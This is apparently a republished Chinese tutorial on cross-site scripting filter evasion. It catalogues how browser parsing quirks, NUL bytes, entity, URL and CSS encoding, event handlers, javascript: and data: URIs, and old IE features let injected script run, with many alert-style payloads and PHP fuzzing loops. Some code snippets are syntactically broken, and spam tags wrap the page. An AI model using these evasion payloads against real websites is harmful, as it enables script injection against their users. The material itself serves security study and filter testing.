<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/147

                    重要的4個規則:

                    1 &符號不應該出現在HTML的大部分節點中。
                    2 尖括號<>是不應該出現在標簽內的,除非為引號引用。
                    3 在text節點里面,<左尖括號有很大的危害。
                    4 引號在標簽內可能有危害,具體危害取決于存在的位置,但是在text節點是沒有危害的。
                    

                    文件解析模式

                    在任何HTML文檔中,最開始的<!DOCTYPE>用來指示瀏覽器需要解析的方式,同樣也可使用Content-Type頭來告訴瀏覽器。

                    一般情況下,瀏覽器中的解析器會嘗試恢復大多數類型的語法錯誤,包括開始和結束標記。

                    在XML中,是非常嚴格的,所有標簽必須有對應的開始關閉,也可以有自動關閉如<img/>也是允許的。

                    了解HTML解析

                    在IE瀏覽器中允許在1中插入NUL字符(0x00),可以繞過非常多的xss過濾器。

                    如下php代碼可把NUL字符插入標簽內做測試:

                    2和4中的空格也可以由tab(0x0B)與換頁鍵(0x0C),2處也可以用/來代替。

                    5中的"在IE中也可替換成`。

                    IE當中還有一個特性是當遇到=后面緊跟一個引號的時候會有奇怪的解析。

                    <img src=test.jpg?value=">Yes, we are still inside a tag!">
                    <comment><img src="<comment><img src=x onerror=alert(1)//">
                    

                    Entity編碼

                    HTML解析器在建立文檔樹的時候會針對節點內的Entity編碼解碼后傳輸。

                    以下兩個表示相同:

                    <img src="http://www.example.com"> 
                    <img src="ht&#x74;p&#x3a;//www.example.com">
                    

                    下面兩個例子代碼不會執行,因為,編碼的是標簽本身的結構而非節點內的內容:

                    <img src&#x3d;"http://www.example.com"> 
                    <img s&#x72;c="http://www.example.com">
                    

                    Fuzzing

                    對一個普通的HTML進行Fuzzing測試:

                    <a >Click me</a>
                    

                    看一下可以Fuzzing的位置

                    位置 代碼 可能插入或替代的代碼
                    <的右邊 <[here]a href="... 控制符,空白符,非打印字符
                    a標簽的后門 <a[here]href="... 同上
                    href屬性中間 <a hr[here]ef="... 同上+空字節
                    =兩邊 <a href[here]=[here]"... 所有字符
                    替換= <a href[here]"... Union編碼符號
                    替換" <a href=[here]…[here]> 其他引號
                    >之前 <a href="…"[here]> 任意字符
                    /之前 <a href="…">...<[here]/a> 空白符,控制符
                    /之后 <a href="…">...</[here]a> 空白符,控制符
                    >閉合之前 <a href="…">…</a[here]> 所有字符

                    可以使用php代碼進行快速測試,例如我們對第一個位置(<的右邊)進行Fuzzing:

                    <?php
                    for($i = 0; $i <= 255; $i++) {
                    $character = chr($i);
                    #  <右邊進行測試
                    echo '<div><'.$character.'a ; } 
                    ?>
                    

                    上面的代碼只測試了256個字符,如果想要測試Unicode的所有字符,則需要創建65536個鏈接。

                    php默認字符是ISO-8859-1作為默認的字符編碼,而這種編碼只有256個字符,所以單純的循環65536遍是沒用的。

                    所以采用Entity編碼方式循環,解碼后輸出:

                    <?php
                    for($i = 0; $i <= 65535; $i++) {
                    $character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8')
                    # <右邊進行測試
                    echo '<div><'.$character.'a ;
                    }?>
                    

                    有一個有趣的現象是幾乎所有瀏覽器對$#33;!,瀏覽器會<!當成注釋的開始,然后自動補齊剩下的代碼,瀏覽器解析后的代碼:

                    <div><!--a -->33</div>
                    
                    針對標簽名的Fuzzing:
                    <L? onclick=alert(1)>click me</L?>
                    

                    上面的代碼,在Chrom、Firefox和Safari中點擊,可以順利彈出1。

                    討論一下空字符的問題,IE瀏覽器會自動忽略空字符,并解析剩下的代碼,這樣會繞過很多采用正則匹配黑名單字符串的過濾器。

                    并且,很多函數和庫并沒有意識到這個問題:

                    <?php 
                    echo '<im'.chr(0).'g sr'.chr(0).'c=x onerror=ale'.chr(0).'rt(1)>';
                    ?>
                    

                    用IE8打開上述代碼的網頁,查看源代碼只能看到"<im"后面的字符都隱藏了。

                    還有兩種方式可以對標簽名Fuzzing,第一種是涉及字符集的問題,第二種是針對php中在過濾之前使用了utf8_decode()函數。

                    <?php
                    header('Content-Type: text/html;charset=Shift_JIS'); 
                    for($i = 1; $i <= 255; $i++) {    
                        $character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');    
                        $character = utf8_decode($character);    
                        echo $character.'123456 '.$i."<br>\r\n";
                    } ?>
                    

                    代碼很簡單,設置返回響應字符集為Shift_JIS,然后把utf-8轉換為Shift_JIS字符集。

                    可以看到在IE中129-159和224-252中,123456中的1消失了,與前面的字符合并成一個字符了。

                    標簽后面也可加入/符號做間隔:

                    <img/src=x onerror=alert(1)>
                    

                    嘗試在標簽與/之間再插入其他字符來測試,由于空字符無法直觀顯示,所以用\0來表示null,同樣主流瀏覽器都可以執行:

                    <img\0/src=x onerror=alert(1)>
                    

                    再嘗試ASCII碼之外的字符,這種字符在正則表達式中\w是無法匹配到的,主流瀏覽器都可以執行:

                    <img/ \/\μ src=x onerror=alert(1)//>
                    

                    測試發現,標簽名與屬性名直接只要是以/開頭以/或"結尾,中間幾乎可以插入任意字符。

                    在Fuzzing屬性方面,考慮兩方面,一個是可以使用什么分隔符,一個是屬性值可以采用什么編碼。

                    分隔符有很多種,單引號,雙引號,無任何引號,反撇號(IE中)。

                    <?php
                    for($i = 1; $i <= 255; $i++) {
                        $character = chr($i);
                        echo '<div><font size='. $character. '20'. $character. '>'.$i.' </font></div>';
                    } ?>
                    

                    上面代碼可以直觀的看出當前瀏覽器支持的分隔符有哪些字符。

                    上面代碼size屬性如果輸入的是字符的話,會順利執行,所以當$character中循環到數字的時候也會順利解析,但這并非是把數字當成了分割符:

                    <?php
                    for($i = 20; $i <= 255; $i++) {
                        $character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
                        echo '<div><img title="'.$i.'" src='.$character. 'http://www.google.com/intl/en_ALL/images/logo.gif'. $character. '></div>'; 
                    } ?>
                    

                    以上代碼可以看出,屬性為字符串的時候,可以作為分隔符的字符。

                    為了表示那些不可打印的字符,就用\x十六進制來表示:

                    <img src=\x17\x17 onerror=alert(1)//>
                    

                    以上代碼\x17即表示不可打印字符chr(23),瀏覽器提交的時候可以輸入%3Cimg%20src%3D%17%17%20onerror%3Dalert%281%29%2f%2f%3E。

                    在src中可以正常工作的分隔字符,在處理事件的屬性里不一定會工作,例如onerror。

                    但是仍然有一些字符可以達到我們的目的,ASCII表中的133和160已經IE中的空字符,甚至是分號。

                    <img/\%20src=%17y%17 onerror=%C2%A0alert(1)//>
                    

                    以上代碼urldecode之后在chrome中可以順利執行。

                    下面討論多個標簽的問題,比如用戶可控的數據插入到了<input>標簽中,同時過濾了<>只能插入標簽內數據:

                    <input value="" type=image src=1 onerror=alert(1)//" type="hidden" name="foo" />
                    

                    綠色部分是我們插入的數據,又插入了一個type屬性,但是瀏覽器執行了alert(),瀏覽器實際上會執行第一個屬性,后面的會忽略掉。

                    在IE中還有一個lowsrc的屬性,跟src類似,原本是為了方便調用一個縮略圖的,但是在IE6和IE7中,同時也支持偽協議javascript:,還有一個dynsrc屬性也類似:

                    <img lowsrc=1 onerror=alert(1)> // 所有IE都支持
                    <img lowsrc=javascript:alert(2)> //IE6和IE7支持
                    <img src="http://www.google.de/intl/de_de/images/logo.gif" dynsrc="javascript:alert(3)" /> // 只有IE6支持
                    

                    sytle屬性中還可以定義非常多的參數:

                    <span style="color:red" style="color:green;background:yellow"> foobar</span>
                    

                    上面代碼可以看到,瀏覽器顯示的字體為紅色,背景為黃色,除了定義顏色之外也可以用expression()執行js,后面會討論。

                    還有一個屬性是專門用來在一個標簽中插入多個的:xmlns,XML的命名空間屬性,這個后面會在XML中討論。

                    還有一處可Fuzzing的點即為標簽的關閉,一個有趣的現象是瀏覽器把<br/></br><p/></p>成完全一樣。

                    <b > foobar</b style="x:expression(alert(1))"> // 不會執行alert
                    <b > foo</b > bar</b style="x:expression(alert(2))"> // IE執行了alert
                    <script src="http://0x.lv"></b> // 不會執行
                    

                    可以執行的代碼為沒有開始標簽的一個閉合標簽,IE8中,sytle屬性可以插在一個閉合標簽內,并順利執行。

                    可混淆的另一個方法是:可替換為=,下面例子在IE8中可執行:

                    <//style=x:expression(if(!window.x){window.x=1;alert(1);})> 
                    <//style='x=expr\65 ssion(if(!window.x){window.x=1;alert(1);})'> 
                    </a/style='x= \a expr\65 ss/*\&#x2a/ion(if(!window.x){window.x=1;alert(1);})'>
                    

                    HTML代碼中執行js的各種方式,用以下方式定義的時候,VBscript和JavaScript都可以執行。

                    <script language=vbs>
                    alert+1'VBScript
                    alert(2)// JavaScript 
                    </script>
                    

                    也有利用標簽中的屬性來執行js,例如:onclick,onload,onerror等等。

                    在iframe標簽中,不需要src屬性就可以順利執行onload屬性,而img標簽不可以。

                    這是因為在iframe中沒有src屬性的時候,瀏覽器會自動加載about:blank頁面,即空白頁。

                    附件tag.php可以方便的看到當前瀏覽器針對各標簽在不需要用戶交互的情況下,可以自動執行的所有屬性。

                    tag-event.php

                    從輸出結果可以看到body標簽支持非常多的屬性可以在與用戶沒有交互的情況下執行js。

                    例如load,error事件,所有的mouse和keyboard事件,以及在用戶離開時的blur事件,還有unload和beforeunload,以及大家很少知道的pageshow屬性。

                    同樣標簽中也有很少遇到的marquee標簽:

                    <marquee onscroll=alert(1)>
                    

                    在Chrome中,html標簽也可以執行非常多的屬性,,同源frameset標簽也接受focus和blur事件。

                    一個很有趣的例子是,讓scroll事件可以無交互觸發,我們可以引入一個錨點,例如:

                    <a name="bottom">或者通過id屬性<div id="bottom">

                    那我們可以訪問http://test.com/test.html#bottom來訪問,瀏覽器自動滾到該錨點,觸發scroll屬性。

                    <body onscroll="alert(1)">
                    <div style="height:10000px">some text</div>
                    <a name="bottom"></a>
                    </body>
                    

                    1.html為以上代碼,訪問1.html#bottom會自動觸發onscroll事件。

                    IE中hr標簽中的onresize屬性,在當前窗口大小變化時,會觸發resize事件,執行alert(1)。

                    <hr onresize=alert(1)>
                    

                    還有非常多的組合可以在IE中使用,很難全部列出來,只列舉出幾個很少見的例子:

                    <bgsound onpropertychange=alert(1)>
                    <body onpropertychange=alert(2)>
                    <body onmove=alert(3)>
                    <body onfocusin=alert(4)>
                    <body onbeforeactivate=alert(5)>
                    <body onactivate=alert(6)>
                    <embed onmove=alert(7)>
                    <object onerror=alert(8)>
                    <style onreadystatechange=alert(9) >
                    <xml onreadystatechange=alert(10) >
                    <xml onpropertychange=alert(11) >
                    <table><td background=javascript:alert(12) > 
                    

                    除了以上on的各種屬性之外,src和href屬性由于支持javascript和vbscript(只支持IE)偽協議,所以也是可以執行javascript代碼:

                    <a href="javascript:alert(1)">click me</a>
                    <a href="vbscript:alert(2)">click me</a>
                    

                    代碼執行時必須使用(),不可以使用vbscript中的alert+2,當點擊之后,會彈出一個寫在當前頁面DOM中的數字2的警告框。

                    javascript:和vbscript:協議執行后的結果將會映射在DOM后面。

                    <a href="javascript:'\x3cimg src\x3dx onerror=alert(document.domain)>'">click me</a>
                    

                    以上代碼在IE和Firefox中點擊click me之后可執行,并且可以看到彈出的domain為a標簽中所在的domain。

                    以上代碼需要用戶交互,下面看個不需要用戶交互的例子,使用object標簽和data:標簽:

                    <object data="javascript:alert(1)">
                    <object data="data:text/html,<script>alert(2)</script > ">
                    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg">
                    

                    以上三個在Firefox中可執行,第二個可在Opera中執行,把各標簽中各屬性支持javascript的總結了一些:

                    <iframe src="javascript:alert(1)"> // 火狐,Chrome, IE8
                    <embed src="javascript:alert(2)"> // 火狐 
                    <img src="javascript:alert(4)"> // IE6
                    <image src="javascript:alert(5)"> // IE6
                    <body background="javascript:alert(5)"> // IE6 
                    <script src="javascript:alert(6)"> // IE6 
                    <table background="javascript:alert(7)"> // IE6 
                    <isindex type="image" src="javascript:alert(8)"> // IE6-7
                    

                    以及applet標簽中code和archive屬性可以用來調用jar文件,執行java代碼。

                    <applet code="XSS" archive="http://someserver.com/xss.jar"></applet>
                    

                    Javascript可以通過DOM直接獲取當前頁面中對應的id和name屬性的對象:

                    <html>
                    <body>
                    <div id="test"></div>
                    <script>alert(test)</script>
                    </body>
                    </html>
                    

                    上面代碼可以看出Javascript中并沒定義test變量,但是獲取到了頁面中id為test的對象。

                    反過來,我們可以在外部直接控制Javascript變量,并且在一些瀏覽器中可以重寫Javascript中已有的變量。

                    <html>
                    <body>
                    <form id="location" href="bar">
                    <script>alert(location.href)</script>
                    </body>
                    </html>
                    

                    以上代碼在IE中可以看到彈出的bar,而不是當前頁面的url,成功覆蓋了原本的變量。

                    還有一種利用meta標簽來執行Javascript:

                    <meta http-equiv="refresh" content="0; url=javascript:alert(document.domain)">
                    

                    上面代碼可以在Chrome,Opera,IE6中可執行javascript代碼,并且彈出的時meta標簽所在的域。

                    如果禁止了javascript:協議,也可使用data:協議,不過能夠順利執行javascript并且繼承meta標簽域的測試到的只有Opera。

                    <meta http-equiv="refresh" content="0; url=data:text/html,<script>alert(document.domain)</script>">
                    

                    IE中為了兼容各個版本,所以有一個條件注釋的語法,這個語法其他瀏覽器并不支持,會自動當成html注釋。

                    <!--[if IE 8]>
                    <p>Welcome to Internet Explorer 8.</p> 
                    <![endif]-->
                    

                    如上文字只有在IE8中才會顯示,條件注釋對于開發是一件很好的事情,可以方便的判斷瀏覽器版本獲取兼容代碼展現給用戶。

                    <!--[if gte IE 7]><p>You are using IE 7 or greater.</p><![endif]-->
                    <!--[if (IE 5)]><p>You are using IE 5 (any version).</p><![endif]-->
                    <!--[if (gte IE 5.5)&(lt IE 7)]><p>You are using IE 5.5 or IE 6.</p><![endif]-->
                    <!--[if lt IE 5.5]><p>Please upgrade your version of Internet Explorer.</p><![endif]-->
                    <!--[if lt Contoso 2]>
                    <p>Your version of the Contoso control is out of date; please update to the latest.</p>
                    <![endif]-->
                    <![if IE 8.0] >
                    <script > alert(1)</script >  //只在IE8下執行
                    <![endif] >
                    <![if IE 8.0000000000000000]]] >
                    <script > alert(2)</script >  // IE8同樣執行
                    <![endif] >
                    <![if IE 8.0000000000000000?] >
                    <script > alert(3)</script >  // 所有的IE都執行
                    <![endif] > 
                    

                    同時IE還支持另外一種方法來執行條件語句,就是通過標簽,并且標簽之間的代碼并不會執行,但是其他瀏覽器卻會執行。

                    <comment><img src=x onerror=alert(3)><comment>
                    <comment onclick=alert(1)>XXX--> //Opera不執行
                    

                    IE的JS引擎里同樣也有條件注釋的語法:

                    <script>
                    [email protected]_on!alert(1)
                    [email protected]_on~alert(2)@*/
                    </script>
                    

                    前面提到過標簽屬性中的URI可以做entity編碼,同時,javascript:后面也可以做url編碼,下面代碼在所有瀏覽器中都可以成功執行。

                    <a href="j&#x61vascript:%61lert(1)">click me</a>
                    

                    同時后面的url編碼可以再做一次entity編碼:

                    <a href="j&#x61vascript:&#x25;61lert(1)">click me</a>
                    

                    由于entity編碼允許&#之后插入任意多個0,再利用上javascript的注釋混淆后:

                    <a href="j&#x61vascript: //%0&#x61 &#x00025;61lert(1)">click me</a>
                    

                    base標簽定義當前頁面鏈接默認地址或默認目標,下面代碼在opera中可執行:

                    <base href="javascript:alert(1)"/>
                    <a href="#">click me</a>
                    

                    javascript也可以換行分割(在IE與chrome中可執行alert):

                    <a href="j&#x61v
                    ascript: //%0&#x61 &#x00025;61lert(1)">click me</a>
                    

                    換行字符同時也可以使用entity編碼:

                    <a href="j&#x61va&#x000Ascript://%0&#x61&#x00025;61lert(1)"> click me</a>
                    
                    <?php
                    for($i = 0; $i<=65535; $i++) {
                        $chr = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8'0);
                        echo '<iframe src="java'.$chr.'script:alert('.$i.')"></iframe> <br/>';
                    } ?>
                    

                    上面代碼可測出當前瀏覽器中,javascript字符串插入哪些字符仍然可以執行alert。

                    <a href="data:text/html;charset=utf-8;base64, PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+Og=="> click</a>
                    

                    上面代碼在Firefox和Opera中可以彈出當前域,Chrome與Safari可以彈,但是繼承不到a標簽所在的域,彈出為空,IE不能執行。

                    Firefox中data:協議默認MIME類型為text/html,即使你定義了一個他根本不知道的類型,他也會把它當作text/html類型:

                    <iframe src="data:μ,<script>alert(1)</script>"> </iframe>
                    <iframe src="data:&#ffff;,<script>alert(2)</script>"></iframe>
                    

                    利用之前總結的結論,最終可以寫出下面可讓Firefox執行的代碼:

                    <iframe/
                    \/src="data:μ,%3cscript%3ealert(document.dom&#x25;61in+[])%3c/script%3e"> </iframe>
                    

                    并且火狐中會忽略data:協議中的所有空白字符:

                    <iframe src="data:.&#x2c &#x25;
                    3
                    cscri pt%
                    3 e alert(1)
                    %3c /s &#x43 RIP t>">
                    

                    最終可以混淆成這樣:

                    <iframe src="d&#097t&#x0061:. &#x2c &#x25; 3
                    c s cri &#x00D; pt %
                    3 e al\u0065rt(1)
                    %3c /s &#x43 RI &#x009 P t>"
                    data:%,<b> < s &#10 c r i p t>alert(1) < /s &#10 c r i p t>
                    

                    之前提到的標簽,在IE中data:協議都不能執行javascript,但是在style標簽里,[email protected]:執行javascript:

                    <style>
                    @import "data:,*%7bx:expression(write(1))%7D";
                    </style>
                    <style>
                    @imp\ ort"data:,*%7b- = \a %65x\pr\65 ssion(write(2))%7d"; </style>
                    <style>
                    <link rel="Stylesheet" href="data:,*%7bx:expression(write(3))%7d">
                    

                    下面討論一下事件即onload、onerror等事件之后的混淆方法:

                    <body onload="al&#000101rt&#8233
                    /*&#00*/(document. dom&#x5cu0061in)//">
                    

                    采用了entity編碼,最后一處是先使用javascript的unicode編碼,然后再entity編碼。

                    由于是直接處理DOM的方法和對象,與直接在script標簽內處理字符串的環境還是不同,但是我們可以加注釋或者換行符。

                    <body onload="al&#000101rt&#8233
                    //&#x0d/*&#00*/(document. dom&#x5cu0061in)//">
                    

                    當使用location重定向到javascript:偽協議url的時候,又可以多做一重編碼了:

                    <body/:a/onload="location='j&#97vAscript:'
                    +&#x28[&#x5d+
                    '\141\l\u0065rt\r\(/*&#x2a/docum%65nt.dom\x&#x0032;561in)'
                    )">
                    

                    事件同時又可以直接調用其他屬性:

                    <img src="x" onload="alert(1)" onerror="this.onload()">
                    <img/src="*/(1)"title="alert/*"onerror="eval(title+src)">
                    

                    style屬性的混淆,一個沒有任何混淆的簡單例子:

                    <input type="text" value="" style=display:block;position:absolute;top:0;left:0;width:999em; height:999em onmouseover=alert(1) a="" name="foo" />
                    

                    利用之前總結的在屬性里的混淆方法:

                    <l1!/style="-:\65 \x/**/\p\r\0&#x30;0065 /**/ssio\n(write /**&#x2f(dom\u0061in))"> 
                    

                    在expression中,我們可以直接訪問document中的write方法和domain屬性,這表明我們當前位于document的DOM范圍內。

                    <l1!/style="-:\65 \x/**/\p\r\0&#x30;0065 /**/ssio\n(location='j&#97vAscript:'+&#x28[&#x5d+'document.write\r\(/*&#x2a/1)'))"> 
                    

                    轉到javascript的URL時,已不在document當中,訪問write方法時需要使用document.write。

                    看到有\xx和\xxxxxx的Unicode編碼,這些都是CSS編碼,與JavaScript編碼非常相似。

                    下面兩個URL中列舉了一些瀏覽器對各種奇怪的css語法支持情況:

                    http://imfo.ru/csstest/css_hacks/import.php http://centricle.com/ref/css/filters/

                    在IE中,css的解析非常的寬泛:

                    <style>
                    /*\*/*{x:expression(write(1))/*
                    </style>
                    <style>
                    _{content:"\"/*" x}
                    *{0:expression(write(2))
                    </style>
                    <a style=<!---/**/&#61expression(write(3))/*-- > X</a > 
                    

                    從IE5.5到IE8中,除了expression可以用來執行JavaScript之外,也可以通過HTML+TIME的形式。

                    這種方式唯一的缺點就是也需要一個事件來執行JavaScript,即onbegin或者onend:

                    1<l style="behavior:url(#default#time2)"onbegin="alert(1)">
                    

                    還有一種方式利用set標簽:

                    1<set/xmlns="urn:schemas-microsoft-com:time" style="beh&#x41vior:url(#default#time2)" attributename="innerhtml" to="&lt;img/src=&quot;x&quot;onerror=alert(1)&gt;">
                    

                    測試一下style屬性中在哪些瀏覽器中,可以插入哪些字符:

                    <?php
                    for($i = 0; $i<=65535; $i++) {
                        $chr = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
                        echo '<a style="color='.$chr.'red">'.dechex($i).'['.$chr.']</a>';
                    } ?>
                    

                    從測試結果可以得出,下面的代碼可以在IE中執行:

                    <div style=xss&#x2000;:&#x3000;expression(write(1))>
                    

                    在一些老版本的IE中,如IE6和IE7,還可以通過背景相關屬性調用javascript的URL來執行javascript代碼:

                    <b style="background:url(javascript:alert('background'))">xxx</b> 
                    <b style="background-image:url(javascript:alert('background'))"> xxx</b>
                    <b style="list-style:url(javascript:alert('background'))">xxx</b> 
                    <b style="list-style-image:url(javascript:alert('background'))"> xxx</b>
                    

                    通過link標簽(在IE6下適用,同時javascript可以換成vbscript):

                    <link rel="stylesheet" href="javascript:alert(1)">
                    <link rel="stylesheet" href="vb&#x09script:%61lert(document.domain)">
                    

                    style標簽中可以通過導入url的方式執行javascript:

                    <style>
                    @imp\o\ rt url('javascript:%61lert(2)'); 
                    </style>
                    

                    HTML5中增加了很多標簽跟屬性,列舉一些可執行JavaScript的方法:

                    <form><input><output onforminput="alert(1)"> //Opera支持
                    

                    onfocus與autofocus的配合:

                    <input onfocus=write(domain) autofocus>
                    <keygen onfocus=write(domain) autofocus>
                    <textarea onfocus=write(domain) autofocus>
                    <body onfocus=write(domain) autofocus>
                    <frameset onfocus=write(domain) autofocus>
                    <button onfocus=write(domain) autofocus>
                    <input autofocus onblur=write(domain)><input autofocus> //Chrome中無交互執行
                    <iframe/src=javascript:alert(1)>
                    <video/poster=javascript:alert(2)>
                    <button form="test" formaction="javascript:alert(3)">
                    

                    更多的html5攻擊方式請見:http://html5sec.org/

                    XML內容比較少,就一起寫到HTML里了,XML支持Unicode,所以Unicode里的所有字符都可以用來做標簽或者屬性,同時有可能繞過<\w+匹配:

                    <啊 onclick="alert(1)" xmlns="http://www.w3.org/1999/xhtml">XXX</啊>
                    

                    XML相比HTML最嚴格的就是有了開始的標簽,必須要有結束標簽匹配,否則會報錯。

                    但是在大多數瀏覽器中似乎并不會影響頁面中javascript的解析(IE中不執行):

                    <html xmlns="http://www.w3.org/1999/xhtml"> 
                    <script>
                    alert(1); // works
                    </script>
                    <p>
                    <script>
                    alert(2); // works too 
                    </script>
                    </html>
                    

                    甚至可以通過JavaScript修改錯誤頁面的內容(在Firefox中可執行):

                    <html xmlns="http://www.w3.org/1999/xhtml"> 
                    <p>
                    <script>
                    setTimeout(function(){ document.activeElement.textContent='hello world' },1);
                    </script>
                    </html>
                    

                    XML的編碼規范與HTML非常相似,可以用entity編碼屬性值。 在XML中,我們可以在DOCTYPE中自定義entity,甚至通過URL引入外部文件:

                    <!DOCTYPE xss [<!ENTITY x "&#x61;l&#x26;y;"><!ENTITY y "ert">]>
                    <html xmlns="http://www.w3.org/1999/xhtml">
                    <script>&x;(document.domain);</script>
                    </html>
                    

                    上面代碼定義了一個&y變量為"ert",&x為"al&y"(a與&符號編碼了一下),即alert,

                    <!DOCTYPE xss [<!ENTITY _k "&#x61;l&#x26;__;"><!ENTITY __ "ert" > ]>
                    <script xmlns="http://www.w3.org/1999/xhtml">
                    &lt;!--&#10;&_k;(1&#x000029;
                    </script>
                    

                    在xml中,包括script標簽內的代碼瀏覽器都會entity解碼后執行,這點很有用:

                    <script xmlns="http://www.w3.org/1999/xhtml">
                    a='&#x27;,alert(1)//';
                    b='&#39;,alert(2)//';
                    c='&apos;,alert(3)//';
                    </script>
                    

                    從5.5版本開始,Internet Explorer(IE)開始支持Web 行為的概念。

                    這些行為是由后綴名為.htc的腳本文件描述的,它們定義了一套方法和屬性,幾乎可以把這些方法和屬性應用到HTML頁面上的任何元素上去。

                    HTML中可以通過加載CSS的behavior的方式調用htc文件,僅支持同域調用:

                    //HTML文件代碼:
                    <html>
                    <head>
                    <style>body { behavior: url(test.htc);}</style> </head>
                    <body>Hello</body>
                    </html>
                    //htc文件代碼:
                    <PUBLIC:COMPONENT>
                    <PUBLIC:ATTACH EVENT="onclick" ONEVENT="alert(1)" />
                    </PUBLIC:COMPONENT>
                    

                    同樣HTML調用XML文件執行javascript:

                    <html>
                    <body>
                    <xml id="xss" src="test.xml"></xml>
                    <label dataformatas=html datasrc=#xss datafld=payload></label> </body>
                    </html>
                    <?xml version="1.0"?>
                    <x>
                    <payload>
                    <![CDATA[<img src=x onerror=alert(domain)>]]> </payload>
                    </x>
                    

                    dataformatas定義了獲取到的數據以什么格式解析(HTML或text),datasrc指綁定的id,datafld指使用哪一段數據。

                    svg調用javascript(新版本的幾個瀏覽器支持):

                    <svg xmlns="http://www.w3.org/2000/svg">
                    <g onload="alert(1)"></g>
                    </svg>
                    <svg xmlns="http://www.w3.org/2000/svg" onload="alert(2)"></svg>
                    

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频